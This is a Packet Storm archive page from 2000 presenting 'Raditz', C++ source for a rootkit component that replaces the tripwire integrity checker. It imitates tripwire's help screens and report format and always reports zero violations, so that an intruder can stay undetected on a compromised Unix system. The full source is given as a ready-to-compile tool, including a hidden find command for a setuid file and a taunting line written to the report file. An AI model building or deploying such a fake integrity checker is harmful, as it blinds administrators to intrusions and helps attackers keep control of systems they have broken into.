exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Raditz.cc

Raditz.cc
Posted Jun 8, 2000
Authored by Technion | Site coons.org

Raditz is a hacked replacement for the tripwire binary which never actually gets tripped. It attempts look and feel just like tripwire, allowing you to hopefully remain undetected on a rooted system just a little bit longer.

tags | tool, root, rootkit
systems | unix
SHA-256 | 8075caab5562e90e85f1c6b992a6dbc8e903553b2ef3998a11ad55a36cd30773

Raditz.cc

Change Mirror Download
/*Raditz by Technion@wiretapped.net
FAQ sheet on homepage.
homepage: www.coons.org

Change below definition to a suitable date for the "last update" field
*/

#define LASTDATE "Wed Jun 7 20:55:52 2000"
#define HAXOR "You got hax0red!"

#include <string.h>
#include <iostream.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <fstream.h>

#define NO_INPUT "
tripwire: File integrity assessment application.

Tripwire(R) 2.2.1.106 for Linux

Copyright (C) 1998-2000 Tripwire(R) Security Systems, Inc.
Tripwire(R) is a registered trademark of the Purdue Research
Foundation and is licensed exclusively to Tripwire(R) Security
Systems, Inc.
Use -h to get help.
"
#define HELP_SCREEN "
tripwire: File integrity assessment application.

Tripwire(R) 2.2.1.106 for Linux

Copyright (C) 1998-2000 Tripwire(R) Security Systems, Inc.
Tripwire(R) is a registered trademark of the Purdue Research
Foundation and is licensed exclusively to Tripwire(R) Security
Systems, Inc.
Usage:

Database Initialization: tripwire [-m i|--init] [options]
Integrity Checking: tripwire [-m c|--check] [object1 [object2...]]
Database Update: tripwire [-m u|--update]
Policy Update: tripwire [-m p|--update-policy] policyfile.txt
Test: tripwire [-m t|--test] --email address
"

#define CONTENTS "
===============================================================================
Rule Summary:
===============================================================================

-------------------------------------------------------------------------------
Section: Unix File System
-------------------------------------------------------------------------------

Rule Name Severity Level Added Removed Modified
--------- -------------- ----- ------- --------
Invariant Directories 66 0 0 0
Tripwire Data Files 100 0 0 0
Temporary directories 33 0 0 0
Critical devices 100 0 0 0
Tripwire Binaries 100 0 0 0
User binaries 66 0 0 0
setuid/setgid 100 0 0 0
Libraries 66 0 0 0
OS executables and libraries 100 0 0 0
Shell Binaries 0 0 0 0
Critical configuration files 100 0 0 0
Configuration Files 0 0 0 0
Security Control 0 0 0 0
Boot Scripts 0 0 0 0
(/etc/rc.d/rc.sysinit)
Login Scripts 0 0 0 0
(/etc/csh.cshrc)
System boot changes 100 0 0 0

Total objects scanned: 10023
Total violations found: 0

===============================================================================
Object Summary:
===============================================================================

-------------------------------------------------------------------------------
# Section: Unix File System
-------------------------------------------------------------------------------

No violations.

===============================================================================
Error Report:
===============================================================================

No Errors

-------------------------------------------------------------------------------
*** End of report ***

Copyright (C) 1998-2000 Tripwire(R) Security Systems, Inc.
Tripwire(R) is a registered trademark of the Purdue Research
Foundation and is licensed exclusively to Tripwire(R) Security
Systems, Inc.
Integrity check complete.



"

int main(int argc, char **argv)
{
int m_found = 0;
char c;
while ((c = getopt (argc, argv, "m")) != -1)
{
switch (c)
{
case 'm':
m_found = 1;
break;
case '?':
cout << HELP_SCREEN;
return 0;
break;
default:
return 1;
}
}
if(!m_found)
{
cout << NO_INPUT;
return 0;
}
sleep(3);
cout << "Parsing policy file: /usr/TSS/policy/tw.pol\n";
sleep(1);
cout << "*** Processing Unix File System ***\n";
cout << "Performing integrity check...\n";
system("find / -name Technion -perm 4777 >&/dev/null");

time_t curtime;
struct tm *loctime;
curtime = time (NULL);
loctime = localtime (&curtime);

char gaytime[128];
char templat[64] = "%Y%m%d-%H%M%S";
strftime(gaytime, 128, templat, loctime);
sleep(1);

char hostname[128];
gethostname(hostname, 128);
char *dir="/usr/TSS/report/";
char reportfile[256];
strcpy(reportfile, dir);
strcat(reportfile, hostname);

char *dash = "-";
strcat(reportfile, dash);
strcat(reportfile, gaytime);

char *extension = ".twr";
strcat(reportfile, extension);
cout << "Wrote report file: ";
cout << reportfile;
ofstream OutFile(reportfile);
OutFile << HAXOR ;
OutFile.close();

cout << endl << endl;
cout << "Tripwire(R) 2.2.1 Integrity Check Report\n\n";
cout << "Report generated by:\t\troot\n";
cout << "Report created on:\t\t";
cout << asctime (loctime);
cout << "Database last updated on:\t" << LASTDATE << "\n\n";

for(int i=0;i<80;i++)
cout << '=';
cout << "Report Summary:\n";

for(int j=0;j<80;j++)
cout << '=';


cout << "\n\nHost name:\t\t\t" << hostname <<endl;
cout << "Host IP address:\t\t127.0.0.1";
cout << "\nHost ID\t:\t\t\t";
long int yourmum = gethostid();
cout.setf(ios::hex, ios::basefield);
cout << yourmum << endl;
cout.setf(ios::dec, ios::basefield);
cout << "Policy file used:\t\t/usr/TSS/policy/tw.pol" <<endl;
cout << "Configuration file used:\t/usr/TSS/bin/tw.cfg" <<endl;
cout << "Database file used:\t\t/usr/TSS/db/" << hostname<< ".twd\n";
cout << "Command line used:\t\t" << argv[0] << " -m c\n";
cout << CONTENTS;



return 0;
}
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close